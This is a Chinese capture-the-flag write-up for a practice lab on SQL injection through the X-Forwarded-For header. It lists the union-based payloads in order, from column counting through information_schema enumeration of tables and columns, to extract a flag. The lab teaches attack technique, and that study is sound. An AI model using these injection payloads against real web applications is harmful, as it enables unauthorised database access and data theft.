墨者學院-在線靶場-HTTP頭注入漏洞測試(X-Forwarded-for) Writeup

首先題目提示

XFF注入,大致思路爲Burp抓包添加XFF請求頭進行注入。
啓動靶場
點擊進入墨者的任性網頁

Burpsuite抓包,放進Repeater

先GO一下
在這裏插入圖片描述
在請求頭中添加X-Forwarded-For
試了試 'and 1=1and 1=2都沒反應
當改爲or 1=1時,提示語法錯誤
在這裏插入圖片描述
在這裏插入圖片描述
繼續,union注入步驟

order by 5顯示未知字段,order by 4返回正常

得到數據庫中的字段數

在這裏插入圖片描述
在這裏插入圖片描述

union select 1,2,3,4

看看有哪些回顯點,發現多了一行商品,名稱,價格,數量分別爲2,3,4
在這裏插入圖片描述
在這裏插入圖片描述
爆數據庫版本和數據庫名

union select 1,2,version(),database()

在這裏插入圖片描述
在這裏插入圖片描述

union select 1,2,(select table_name from information_schema.tables where table_schema = 'pentesterlab' limit 0,1),database()

第一個表名爲comment

union select 1,2,(select table_name from information_schema.tables where table_schema = 'pentesterlab' limit 1,1),database()

在這裏插入圖片描述
在這裏插入圖片描述
第二個表名爲flag,應該是這個表了。

繼續

union select 1,2,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),database()

第一個字段名爲id,再試試第二個

union select 1,2,(select column_name from information_schema.columns where table_name = 'flag' limit 1,1),database()

在這裏插入圖片描述
flag應該就在這個字段中

union select 1,2,(select flag from pentesterlab.flag limit 0,1),database()

得到flag
在這裏插入圖片描述
回到最初頁面,驗證flag,得到key。
在這裏插入圖片描述
在這裏插入圖片描述

發佈了27 篇原創文章 · 獲贊 6 · 訪問量 5193
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章